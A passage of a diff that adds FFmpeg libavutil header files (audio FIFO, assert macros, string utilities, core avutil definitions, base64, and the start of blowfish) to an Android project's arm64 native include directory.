+ * @param af          AVAudioFifo to read from
+ * @param data        audio data plane pointers
+ * @param nb_samples  number of samples to peek
+ * @param offset      offset from current read position
+ * @return            number of samples actually peek, or negative AVERROR code
+ *                    on failure. The number of samples actually peek will not
+ *                    be greater than nb_samples, and will only be less than
+ *                    nb_samples if av_audio_fifo_size is less than nb_samples.
+ */
+int av_audio_fifo_peek_at(const AVAudioFifo *af, void * const *data,
+                          int nb_samples, int offset);
+
+/**
+ * Read data from an AVAudioFifo.
+ *
+ * @see enum AVSampleFormat
+ * The documentation for AVSampleFormat describes the data layout.
+ *
+ * @param af          AVAudioFifo to read from
+ * @param data        audio data plane pointers
+ * @param nb_samples  number of samples to read
+ * @return            number of samples actually read, or negative AVERROR code
+ *                    on failure. The number of samples actually read will not
+ *                    be greater than nb_samples, and will only be less than
+ *                    nb_samples if av_audio_fifo_size is less than nb_samples.
+ */
+int av_audio_fifo_read(AVAudioFifo *af, void * const *data, int nb_samples);
+
+/**
+ * Drain data from an AVAudioFifo.
+ *
+ * Removes the data without reading it.
+ *
+ * @param af          AVAudioFifo to drain
+ * @param nb_samples  number of samples to drain
+ * @return            0 if OK, or negative AVERROR code on failure
+ */
+int av_audio_fifo_drain(AVAudioFifo *af, int nb_samples);
+
+/**
+ * Reset the AVAudioFifo buffer.
+ *
+ * This empties all data in the buffer.
+ *
+ * @param af  AVAudioFifo to reset
+ */
+void av_audio_fifo_reset(AVAudioFifo *af);
+
+/**
+ * Get the current number of samples in the AVAudioFifo available for reading.
+ *
+ * @param af  the AVAudioFifo to query
+ * @return    number of samples available for reading
+ */
+int av_audio_fifo_size(AVAudioFifo *af);
+
+/**
+ * Get the current number of samples in the AVAudioFifo available for writing.
+ *
+ * @param af  the AVAudioFifo to query
+ * @return    number of samples available for writing
+ */
+int av_audio_fifo_space(AVAudioFifo *af);
+
+/**
+ * @}
+ * @}
+ */
+
+#endif /* AVUTIL_AUDIO_FIFO_H */

app/src/main/jniLibs/arm64-v8a/include/libavutil/avassert.h

@@ -0,0 +1,78 @@
+/*
+ * copyright (c) 2010 Michael Niedermayer <michaelni@gmx.at>
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+/**
+ * @file
+ * simple assert() macros that are a bit more flexible than ISO C assert().
+ * @author Michael Niedermayer <michaelni@gmx.at>
+ */
+
+#ifndef AVUTIL_AVASSERT_H
+#define AVUTIL_AVASSERT_H
+
+#include <stdlib.h>
+#ifdef HAVE_AV_CONFIG_H
+#   include "config.h"
+#endif
+#include "log.h"
+#include "macros.h"
+
+/**
+ * assert() equivalent, that is always enabled.
+ */
+#define av_assert0(cond) do {                                           \
+    if (!(cond)) {                                                      \
+        av_log(NULL, AV_LOG_PANIC, "Assertion %s failed at %s:%d\n",    \
+               AV_STRINGIFY(cond), __FILE__, __LINE__);                 \
+        abort();                                                        \
+    }                                                                   \
+} while (0)
+
+
+/**
+ * assert() equivalent, that does not lie in speed critical code.
+ * These asserts() thus can be enabled without fearing speed loss.
+ */
+#if defined(ASSERT_LEVEL) && ASSERT_LEVEL > 0
+#define av_assert1(cond) av_assert0(cond)
+#else
+#define av_assert1(cond) ((void)0)
+#endif
+
+
+/**
+ * assert() equivalent, that does lie in speed critical code.
+ */
+#if defined(ASSERT_LEVEL) && ASSERT_LEVEL > 1
+#define av_assert2(cond) av_assert0(cond)
+#define av_assert2_fpu() av_assert0_fpu()
+#else
+#define av_assert2(cond) ((void)0)
+#define av_assert2_fpu() ((void)0)
+#endif
+
+/**
+ * Assert that floating point operations can be executed.
+ *
+ * This will av_assert0() that the cpu is not in MMX state on X86
+ */
+void av_assert0_fpu(void);
+
+#endif /* AVUTIL_AVASSERT_H */

app/src/main/jniLibs/arm64-v8a/include/libavutil/avconfig.h

@@ -0,0 +1,6 @@
+/* Generated by ffmpeg configure */
+#ifndef AVUTIL_AVCONFIG_H
+#define AVUTIL_AVCONFIG_H
+#define AV_HAVE_BIGENDIAN 0
+#define AV_HAVE_FAST_UNALIGNED 1
+#endif /* AVUTIL_AVCONFIG_H */

app/src/main/jniLibs/arm64-v8a/include/libavutil/avstring.h

@@ -0,0 +1,428 @@
+/*
+ * Copyright (c) 2007 Mans Rullgard
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVUTIL_AVSTRING_H
+#define AVUTIL_AVSTRING_H
+
+#include <stddef.h>
+#include <stdint.h>
+#include "attributes.h"
+
+/**
+ * @addtogroup lavu_string
+ * @{
+ */
+
+/**
+ * Return non-zero if pfx is a prefix of str. If it is, *ptr is set to
+ * the address of the first character in str after the prefix.
+ *
+ * @param str input string
+ * @param pfx prefix to test
+ * @param ptr updated if the prefix is matched inside str
+ * @return non-zero if the prefix matches, zero otherwise
+ */
+int av_strstart(const char *str, const char *pfx, const char **ptr);
+
+/**
+ * Return non-zero if pfx is a prefix of str independent of case. If
+ * it is, *ptr is set to the address of the first character in str
+ * after the prefix.
+ *
+ * @param str input string
+ * @param pfx prefix to test
+ * @param ptr updated if the prefix is matched inside str
+ * @return non-zero if the prefix matches, zero otherwise
+ */
+int av_stristart(const char *str, const char *pfx, const char **ptr);
+
+/**
+ * Locate the first case-independent occurrence in the string haystack
+ * of the string needle.  A zero-length string needle is considered to
+ * match at the start of haystack.
+ *
+ * This function is a case-insensitive version of the standard strstr().
+ *
+ * @param haystack string to search in
+ * @param needle   string to search for
+ * @return         pointer to the located match within haystack
+ *                 or a null pointer if no match
+ */
+char *av_stristr(const char *haystack, const char *needle);
+
+/**
+ * Locate the first occurrence of the string needle in the string haystack
+ * where not more than hay_length characters are searched. A zero-length
+ * string needle is considered to match at the start of haystack.
+ *
+ * This function is a length-limited version of the standard strstr().
+ *
+ * @param haystack   string to search in
+ * @param needle     string to search for
+ * @param hay_length length of string to search in
+ * @return           pointer to the located match within haystack
+ *                   or a null pointer if no match
+ */
+char *av_strnstr(const char *haystack, const char *needle, size_t hay_length);
+
+/**
+ * Copy the string src to dst, but no more than size - 1 bytes, and
+ * null-terminate dst.
+ *
+ * This function is the same as BSD strlcpy().
+ *
+ * @param dst destination buffer
+ * @param src source string
+ * @param size size of destination buffer
+ * @return the length of src
+ *
+ * @warning since the return value is the length of src, src absolutely
+ * _must_ be a properly 0-terminated string, otherwise this will read beyond
+ * the end of the buffer and possibly crash.
+ */
+size_t av_strlcpy(char *dst, const char *src, size_t size);
+
+/**
+ * Append the string src to the string dst, but to a total length of
+ * no more than size - 1 bytes, and null-terminate dst.
+ *
+ * This function is similar to BSD strlcat(), but differs when
+ * size <= strlen(dst).
+ *
+ * @param dst destination buffer
+ * @param src source string
+ * @param size size of destination buffer
+ * @return the total length of src and dst
+ *
+ * @warning since the return value use the length of src and dst, these
+ * absolutely _must_ be a properly 0-terminated strings, otherwise this
+ * will read beyond the end of the buffer and possibly crash.
+ */
+size_t av_strlcat(char *dst, const char *src, size_t size);
+
+/**
+ * Append output to a string, according to a format. Never write out of
+ * the destination buffer, and always put a terminating 0 within
+ * the buffer.
+ * @param dst destination buffer (string to which the output is
+ *  appended)
+ * @param size total size of the destination buffer
+ * @param fmt printf-compatible format string, specifying how the
+ *  following parameters are used
+ * @return the length of the string that would have been generated
+ *  if enough space had been available
+ */
+size_t av_strlcatf(char *dst, size_t size, const char *fmt, ...) av_printf_format(3, 4);
+
+/**
+ * Get the count of continuous non zero chars starting from the beginning.
+ *
+ * @param s   the string whose length to count
+ * @param len maximum number of characters to check in the string, that
+ *            is the maximum value which is returned by the function
+ */
+static inline size_t av_strnlen(const char *s, size_t len)
+{
+    size_t i;
+    for (i = 0; i < len && s[i]; i++)
+        ;
+    return i;
+}
+
+/**
+ * Print arguments following specified format into a large enough auto
+ * allocated buffer. It is similar to GNU asprintf().
+ * @param fmt printf-compatible format string, specifying how the
+ *            following parameters are used.
+ * @return the allocated string
+ * @note You have to free the string yourself with av_free().
+ */
+char *av_asprintf(const char *fmt, ...) av_printf_format(1, 2);
+
+/**
+ * Unescape the given string until a non escaped terminating char,
+ * and return the token corresponding to the unescaped string.
+ *
+ * The normal \ and ' escaping is supported. Leading and trailing
+ * whitespaces are removed, unless they are escaped with '\' or are
+ * enclosed between ''.
+ *
+ * @param buf the buffer to parse, buf will be updated to point to the
+ * terminating char
+ * @param term a 0-terminated list of terminating chars
+ * @return the malloced unescaped string, which must be av_freed by
+ * the user, NULL in case of allocation failure
+ */
+char *av_get_token(const char **buf, const char *term);
+
+/**
+ * Split the string into several tokens which can be accessed by
+ * successive calls to av_strtok().
+ *
+ * A token is defined as a sequence of characters not belonging to the
+ * set specified in delim.
+ *
+ * On the first call to av_strtok(), s should point to the string to
+ * parse, and the value of saveptr is ignored. In subsequent calls, s
+ * should be NULL, and saveptr should be unchanged since the previous
+ * call.
+ *
+ * This function is similar to strtok_r() defined in POSIX.1.
+ *
+ * @param s the string to parse, may be NULL
+ * @param delim 0-terminated list of token delimiters, must be non-NULL
+ * @param saveptr user-provided pointer which points to stored
+ * information necessary for av_strtok() to continue scanning the same
+ * string. saveptr is updated to point to the next character after the
+ * first delimiter found, or to NULL if the string was terminated
+ * @return the found token, or NULL when no token is found
+ */
+char *av_strtok(char *s, const char *delim, char **saveptr);
+
+/**
+ * Locale-independent conversion of ASCII isdigit.
+ */
+static inline av_const int av_isdigit(int c)
+{
+    return c >= '0' && c <= '9';
+}
+
+/**
+ * Locale-independent conversion of ASCII isgraph.
+ */
+static inline av_const int av_isgraph(int c)
+{
+    return c > 32 && c < 127;
+}
+
+/**
+ * Locale-independent conversion of ASCII isspace.
+ */
+static inline av_const int av_isspace(int c)
+{
+    return c == ' ' || c == '\f' || c == '\n' || c == '\r' || c == '\t' ||
+           c == '\v';
+}
+
+/**
+ * Locale-independent conversion of ASCII characters to uppercase.
+ */
+static inline av_const int av_toupper(int c)
+{
+    if (c >= 'a' && c <= 'z')
+        c ^= 0x20;
+    return c;
+}
+
+/**
+ * Locale-independent conversion of ASCII characters to lowercase.
+ */
+static inline av_const int av_tolower(int c)
+{
+    if (c >= 'A' && c <= 'Z')
+        c ^= 0x20;
+    return c;
+}
+
+/**
+ * Locale-independent conversion of ASCII isxdigit.
+ */
+static inline av_const int av_isxdigit(int c)
+{
+    c = av_tolower(c);
+    return av_isdigit(c) || (c >= 'a' && c <= 'f');
+}
+
+/**
+ * Locale-independent case-insensitive compare.
+ * @note This means only ASCII-range characters are case-insensitive
+ */
+int av_strcasecmp(const char *a, const char *b);
+
+/**
+ * Locale-independent case-insensitive compare.
+ * @note This means only ASCII-range characters are case-insensitive
+ */
+int av_strncasecmp(const char *a, const char *b, size_t n);
+
+/**
+ * Locale-independent strings replace.
+ * @note This means only ASCII-range characters are replaced.
+ */
+char *av_strireplace(const char *str, const char *from, const char *to);
+
+/**
+ * Thread safe basename.
+ * @param path the string to parse, on DOS both \ and / are considered separators.
+ * @return pointer to the basename substring.
+ * If path does not contain a slash, the function returns a copy of path.
+ * If path is a NULL pointer or points to an empty string, a pointer
+ * to a string "." is returned.
+ */
+const char *av_basename(const char *path);
+
+/**
+ * Thread safe dirname.
+ * @param path the string to parse, on DOS both \ and / are considered separators.
+ * @return A pointer to a string that's the parent directory of path.
+ * If path is a NULL pointer or points to an empty string, a pointer
+ * to a string "." is returned.
+ * @note the function may modify the contents of the path, so copies should be passed.
+ */
+const char *av_dirname(char *path);
+
+/**
+ * Match instances of a name in a comma-separated list of names.
+ * List entries are checked from the start to the end of the names list,
+ * the first match ends further processing. If an entry prefixed with '-'
+ * matches, then 0 is returned. The "ALL" list entry is considered to
+ * match all names.
+ *
+ * @param name  Name to look for.
+ * @param names List of names.
+ * @return 1 on match, 0 otherwise.
+ */
+int av_match_name(const char *name, const char *names);
+
+/**
+ * Append path component to the existing path.
+ * Path separator '/' is placed between when needed.
+ * Resulting string have to be freed with av_free().
+ * @param path      base path
+ * @param component component to be appended
+ * @return new path or NULL on error.
+ */
+char *av_append_path_component(const char *path, const char *component);
+
+enum AVEscapeMode {
+    AV_ESCAPE_MODE_AUTO,      ///< Use auto-selected escaping mode.
+    AV_ESCAPE_MODE_BACKSLASH, ///< Use backslash escaping.
+    AV_ESCAPE_MODE_QUOTE,     ///< Use single-quote escaping.
+    AV_ESCAPE_MODE_XML,       ///< Use XML non-markup character data escaping.
+};
+
+/**
+ * Consider spaces special and escape them even in the middle of the
+ * string.
+ *
+ * This is equivalent to adding the whitespace characters to the special
+ * characters lists, except it is guaranteed to use the exact same list
+ * of whitespace characters as the rest of libavutil.
+ */
+#define AV_ESCAPE_FLAG_WHITESPACE (1 << 0)
+
+/**
+ * Escape only specified special characters.
+ * Without this flag, escape also any characters that may be considered
+ * special by av_get_token(), such as the single quote.
+ */
+#define AV_ESCAPE_FLAG_STRICT (1 << 1)
+
+/**
+ * Within AV_ESCAPE_MODE_XML, additionally escape single quotes for single
+ * quoted attributes.
+ */
+#define AV_ESCAPE_FLAG_XML_SINGLE_QUOTES (1 << 2)
+
+/**
+ * Within AV_ESCAPE_MODE_XML, additionally escape double quotes for double
+ * quoted attributes.
+ */
+#define AV_ESCAPE_FLAG_XML_DOUBLE_QUOTES (1 << 3)
+
+
+/**
+ * Escape string in src, and put the escaped string in an allocated
+ * string in *dst, which must be freed with av_free().
+ *
+ * @param dst           pointer where an allocated string is put
+ * @param src           string to escape, must be non-NULL
+ * @param special_chars string containing the special characters which
+ *                      need to be escaped, can be NULL
+ * @param mode          escape mode to employ, see AV_ESCAPE_MODE_* macros.
+ *                      Any unknown value for mode will be considered equivalent to
+ *                      AV_ESCAPE_MODE_BACKSLASH, but this behaviour can change without
+ *                      notice.
+ * @param flags         flags which control how to escape, see AV_ESCAPE_FLAG_ macros
+ * @return the length of the allocated string, or a negative error code in case of error
+ * @see av_bprint_escape()
+ */
+av_warn_unused_result
+int av_escape(char **dst, const char *src, const char *special_chars,
+              enum AVEscapeMode mode, int flags);
+
+#define AV_UTF8_FLAG_ACCEPT_INVALID_BIG_CODES          1 ///< accept codepoints over 0x10FFFF
+#define AV_UTF8_FLAG_ACCEPT_NON_CHARACTERS             2 ///< accept non-characters - 0xFFFE and 0xFFFF
+#define AV_UTF8_FLAG_ACCEPT_SURROGATES                 4 ///< accept UTF-16 surrogates codes
+#define AV_UTF8_FLAG_EXCLUDE_XML_INVALID_CONTROL_CODES 8 ///< exclude control codes not accepted by XML
+
+#define AV_UTF8_FLAG_ACCEPT_ALL \
+    AV_UTF8_FLAG_ACCEPT_INVALID_BIG_CODES|AV_UTF8_FLAG_ACCEPT_NON_CHARACTERS|AV_UTF8_FLAG_ACCEPT_SURROGATES
+
+/**
+ * Read and decode a single UTF-8 code point (character) from the
+ * buffer in *buf, and update *buf to point to the next byte to
+ * decode.
+ *
+ * In case of an invalid byte sequence, the pointer will be updated to
+ * the next byte after the invalid sequence and the function will
+ * return an error code.
+ *
+ * Depending on the specified flags, the function will also fail in
+ * case the decoded code point does not belong to a valid range.
+ *
+ * @note For speed-relevant code a carefully implemented use of
+ * GET_UTF8() may be preferred.
+ *
+ * @param codep   pointer used to return the parsed code in case of success.
+ *                The value in *codep is set even in case the range check fails.
+ * @param bufp    pointer to the address the first byte of the sequence
+ *                to decode, updated by the function to point to the
+ *                byte next after the decoded sequence
+ * @param buf_end pointer to the end of the buffer, points to the next
+ *                byte past the last in the buffer. This is used to
+ *                avoid buffer overreads (in case of an unfinished
+ *                UTF-8 sequence towards the end of the buffer).
+ * @param flags   a collection of AV_UTF8_FLAG_* flags
+ * @return >= 0 in case a sequence was successfully read, a negative
+ * value in case of invalid sequence
+ */
+av_warn_unused_result
+int av_utf8_decode(int32_t *codep, const uint8_t **bufp, const uint8_t *buf_end,
+                   unsigned int flags);
+
+/**
+ * Check if a name is in a list.
+ * @returns 0 if not found, or the 1 based index where it has been found in the
+ *            list.
+ */
+int av_match_list(const char *name, const char *list, char separator);
+
+/**
+ * See libc sscanf manual for more information.
+ * Locale-independent sscanf implementation.
+ */
+int av_sscanf(const char *string, const char *format, ...);
+
+/**
+ * @}
+ */
+
+#endif /* AVUTIL_AVSTRING_H */

app/src/main/jniLibs/arm64-v8a/include/libavutil/avutil.h

@@ -0,0 +1,362 @@
+/*
+ * copyright (c) 2006 Michael Niedermayer <michaelni@gmx.at>
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVUTIL_AVUTIL_H
+#define AVUTIL_AVUTIL_H
+
+/**
+ * @file
+ * @ingroup lavu
+ * Convenience header that includes @ref lavu "libavutil"'s core.
+ */
+
+/**
+ * @mainpage
+ *
+ * @section ffmpeg_intro Introduction
+ *
+ * This document describes the usage of the different libraries
+ * provided by FFmpeg.
+ *
+ * @li @ref libavc "libavcodec" encoding/decoding library
+ * @li @ref lavfi "libavfilter" graph-based frame editing library
+ * @li @ref libavf "libavformat" I/O and muxing/demuxing library
+ * @li @ref lavd "libavdevice" special devices muxing/demuxing library
+ * @li @ref lavu "libavutil" common utility library
+ * @li @ref lswr "libswresample" audio resampling, format conversion and mixing
+ * @li @ref lpp  "libpostproc" post processing library
+ * @li @ref libsws "libswscale" color conversion and scaling library
+ *
+ * @section ffmpeg_versioning Versioning and compatibility
+ *
+ * Each of the FFmpeg libraries contains a version.h header, which defines a
+ * major, minor and micro version number with the
+ * <em>LIBRARYNAME_VERSION_{MAJOR,MINOR,MICRO}</em> macros. The major version
+ * number is incremented with backward incompatible changes - e.g. removing
+ * parts of the public API, reordering public struct members, etc. The minor
+ * version number is incremented for backward compatible API changes or major
+ * new features - e.g. adding a new public function or a new decoder. The micro
+ * version number is incremented for smaller changes that a calling program
+ * might still want to check for - e.g. changing behavior in a previously
+ * unspecified situation.
+ *
+ * FFmpeg guarantees backward API and ABI compatibility for each library as long
+ * as its major version number is unchanged. This means that no public symbols
+ * will be removed or renamed. Types and names of the public struct members and
+ * values of public macros and enums will remain the same (unless they were
+ * explicitly declared as not part of the public API). Documented behavior will
+ * not change.
+ *
+ * In other words, any correct program that works with a given FFmpeg snapshot
+ * should work just as well without any changes with any later snapshot with the
+ * same major versions. This applies to both rebuilding the program against new
+ * FFmpeg versions or to replacing the dynamic FFmpeg libraries that a program
+ * links against.
+ *
+ * However, new public symbols may be added and new members may be appended to
+ * public structs whose size is not part of public ABI (most public structs in
+ * FFmpeg). New macros and enum values may be added. Behavior in undocumented
+ * situations may change slightly (and be documented). All those are accompanied
+ * by an entry in doc/APIchanges and incrementing either the minor or micro
+ * version number.
+ */
+
+/**
+ * @defgroup lavu libavutil
+ * Common code shared across all FFmpeg libraries.
+ *
+ * @note
+ * libavutil is designed to be modular. In most cases, in order to use the
+ * functions provided by one component of libavutil you must explicitly include
+ * the specific header containing that feature. If you are only using
+ * media-related components, you could simply include libavutil/avutil.h, which
+ * brings in most of the "core" components.
+ *
+ * @{
+ *
+ * @defgroup lavu_crypto Crypto and Hashing
+ *
+ * @{
+ * @}
+ *
+ * @defgroup lavu_math Mathematics
+ * @{
+ *
+ * @}
+ *
+ * @defgroup lavu_string String Manipulation
+ *
+ * @{
+ *
+ * @}
+ *
+ * @defgroup lavu_mem Memory Management
+ *
+ * @{
+ *
+ * @}
+ *
+ * @defgroup lavu_data Data Structures
+ * @{
+ *
+ * @}
+ *
+ * @defgroup lavu_video Video related
+ *
+ * @{
+ *
+ * @}
+ *
+ * @defgroup lavu_audio Audio related
+ *
+ * @{
+ *
+ * @}
+ *
+ * @defgroup lavu_error Error Codes
+ *
+ * @{
+ *
+ * @}
+ *
+ * @defgroup lavu_log Logging Facility
+ *
+ * @{
+ *
+ * @}
+ *
+ * @defgroup lavu_misc Other
+ *
+ * @{
+ *
+ * @defgroup preproc_misc Preprocessor String Macros
+ *
+ * @{
+ *
+ * @}
+ *
+ * @defgroup version_utils Library Version Macros
+ *
+ * @{
+ *
+ * @}
+ */
+
+
+/**
+ * @addtogroup lavu_ver
+ * @{
+ */
+
+/**
+ * Return the LIBAVUTIL_VERSION_INT constant.
+ */
+unsigned avutil_version(void);
+
+/**
+ * Return an informative version string. This usually is the actual release
+ * version number or a git commit description. This string has no fixed format
+ * and can change any time. It should never be parsed by code.
+ */
+const char *av_version_info(void);
+
+/**
+ * Return the libavutil build-time configuration.
+ */
+const char *avutil_configuration(void);
+
+/**
+ * Return the libavutil license.
+ */
+const char *avutil_license(void);
+
+/**
+ * @}
+ */
+
+/**
+ * @addtogroup lavu_media Media Type
+ * @brief Media Type
+ */
+
+enum AVMediaType {
+    AVMEDIA_TYPE_UNKNOWN = -1,  ///< Usually treated as AVMEDIA_TYPE_DATA
+    AVMEDIA_TYPE_VIDEO,
+    AVMEDIA_TYPE_AUDIO,
+    AVMEDIA_TYPE_DATA,          ///< Opaque data information usually continuous
+    AVMEDIA_TYPE_SUBTITLE,
+    AVMEDIA_TYPE_ATTACHMENT,    ///< Opaque data information usually sparse
+    AVMEDIA_TYPE_NB
+};
+
+/**
+ * Return a string describing the media_type enum, NULL if media_type
+ * is unknown.
+ */
+const char *av_get_media_type_string(enum AVMediaType media_type);
+
+/**
+ * @defgroup lavu_const Constants
+ * @{
+ *
+ * @defgroup lavu_enc Encoding specific
+ *
+ * @note those definition should move to avcodec
+ * @{
+ */
+
+#define FF_LAMBDA_SHIFT 7
+#define FF_LAMBDA_SCALE (1<<FF_LAMBDA_SHIFT)
+#define FF_QP2LAMBDA 118 ///< factor to convert from H.263 QP to lambda
+#define FF_LAMBDA_MAX (256*128-1)
+
+#define FF_QUALITY_SCALE FF_LAMBDA_SCALE //FIXME maybe remove
+
+/**
+ * @}
+ * @defgroup lavu_time Timestamp specific
+ *
+ * FFmpeg internal timebase and timestamp definitions
+ *
+ * @{
+ */
+
+/**
+ * @brief Undefined timestamp value
+ *
+ * Usually reported by demuxer that work on containers that do not provide
+ * either pts or dts.
+ */
+
+#define AV_NOPTS_VALUE          ((int64_t)UINT64_C(0x8000000000000000))
+
+/**
+ * Internal time base represented as integer
+ */
+
+#define AV_TIME_BASE            1000000
+
+/**
+ * Internal time base represented as fractional value
+ */
+
+#ifdef __cplusplus
+/* ISO C++ forbids compound-literals. */
+#define AV_TIME_BASE_Q          av_make_q(1, AV_TIME_BASE)
+#else
+#define AV_TIME_BASE_Q          (AVRational){1, AV_TIME_BASE}
+#endif
+
+/**
+ * @}
+ * @}
+ * @defgroup lavu_picture Image related
+ *
+ * AVPicture types, pixel formats and basic image planes manipulation.
+ *
+ * @{
+ */
+
+enum AVPictureType {
+    AV_PICTURE_TYPE_NONE = 0, ///< Undefined
+    AV_PICTURE_TYPE_I,     ///< Intra
+    AV_PICTURE_TYPE_P,     ///< Predicted
+    AV_PICTURE_TYPE_B,     ///< Bi-dir predicted
+    AV_PICTURE_TYPE_S,     ///< S(GMC)-VOP MPEG-4
+    AV_PICTURE_TYPE_SI,    ///< Switching Intra
+    AV_PICTURE_TYPE_SP,    ///< Switching Predicted
+    AV_PICTURE_TYPE_BI,    ///< BI type
+};
+
+/**
+ * Return a single letter to describe the given picture type
+ * pict_type.
+ *
+ * @param[in] pict_type the picture type @return a single character
+ * representing the picture type, '?' if pict_type is unknown
+ */
+char av_get_picture_type_char(enum AVPictureType pict_type);
+
+/**
+ * @}
+ */
+
+#include "common.h"
+#include "rational.h"
+#include "version.h"
+#include "macros.h"
+#include "mathematics.h"
+#include "log.h"
+#include "pixfmt.h"
+
+/**
+ * Return x default pointer in case p is NULL.
+ */
+static inline void *av_x_if_null(const void *p, const void *x)
+{
+    return (void *)(intptr_t)(p ? p : x);
+}
+
+/**
+ * Compute the length of an integer list.
+ *
+ * @param elsize  size in bytes of each list element (only 1, 2, 4 or 8)
+ * @param term    list terminator (usually 0 or -1)
+ * @param list    pointer to the list
+ * @return  length of the list, in elements, not counting the terminator
+ */
+unsigned av_int_list_length_for_size(unsigned elsize,
+                                     const void *list, uint64_t term) av_pure;
+
+/**
+ * Compute the length of an integer list.
+ *
+ * @param term  list terminator (usually 0 or -1)
+ * @param list  pointer to the list
+ * @return  length of the list, in elements, not counting the terminator
+ */
+#define av_int_list_length(list, term) \
+    av_int_list_length_for_size(sizeof(*(list)), list, term)
+
+/**
+ * Return the fractional representation of the internal time base.
+ */
+AVRational av_get_time_base_q(void);
+
+#define AV_FOURCC_MAX_STRING_SIZE 32
+
+#define av_fourcc2str(fourcc) av_fourcc_make_string((char[AV_FOURCC_MAX_STRING_SIZE]){0}, fourcc)
+
+/**
+ * Fill the provided buffer with a string containing a FourCC (four-character
+ * code) representation.
+ *
+ * @param buf    a buffer with size in bytes of at least AV_FOURCC_MAX_STRING_SIZE
+ * @param fourcc the fourcc to represent
+ * @return the buffer in input
+ */
+char *av_fourcc_make_string(char *buf, uint32_t fourcc);
+
+/**
+ * @}
+ * @}
+ */
+
+#endif /* AVUTIL_AVUTIL_H */

app/src/main/jniLibs/arm64-v8a/include/libavutil/base64.h

@@ -0,0 +1,72 @@
+/*
+ * Copyright (c) 2006 Ryan Martell. (rdm4@martellventures.com)
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVUTIL_BASE64_H
+#define AVUTIL_BASE64_H
+
+#include <stdint.h>
+
+/**
+ * @defgroup lavu_base64 Base64
+ * @ingroup lavu_crypto
+ * @{
+ */
+
+/**
+ * Decode a base64-encoded string.
+ *
+ * @param out      buffer for decoded data
+ * @param in       null-terminated input string
+ * @param out_size size in bytes of the out buffer, must be at
+ *                 least 3/4 of the length of in, that is AV_BASE64_DECODE_SIZE(strlen(in))
+ * @return         number of bytes written, or a negative value in case of
+ *                 invalid input
+ */
+int av_base64_decode(uint8_t *out, const char *in, int out_size);
+
+/**
+ * Calculate the output size in bytes needed to decode a base64 string
+ * with length x to a data buffer.
+ */
+#define AV_BASE64_DECODE_SIZE(x) ((x) * 3LL / 4)
+
+/**
+ * Encode data to base64 and null-terminate.
+ *
+ * @param out      buffer for encoded data
+ * @param out_size size in bytes of the out buffer (including the
+ *                 null terminator), must be at least AV_BASE64_SIZE(in_size)
+ * @param in       input buffer containing the data to encode
+ * @param in_size  size in bytes of the in buffer
+ * @return         out or NULL in case of error
+ */
+char *av_base64_encode(char *out, int out_size, const uint8_t *in, int in_size);
+
+/**
+ * Calculate the output size needed to base64-encode x bytes to a
+ * null-terminated string.
+ */
+#define AV_BASE64_SIZE(x)  (((x)+2) / 3 * 4 + 1)
+
+ /**
+  * @}
+  */
+
+#endif /* AVUTIL_BASE64_H */

app/src/main/jniLibs/arm64-v8a/include/libavutil/blowfish.h

@@ -0,0 +1,82 @@
+/*
+ * Blowfish algorithm
+ * Copyright (c) 2012 Samuel Pitoiset
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVUTIL_BLOWFISH_H
+#define AVUTIL_BLOWFISH_H
+
+#include <stdint.h>
+
+/**
+ * @defgroup lavu_blowfish Blowfish
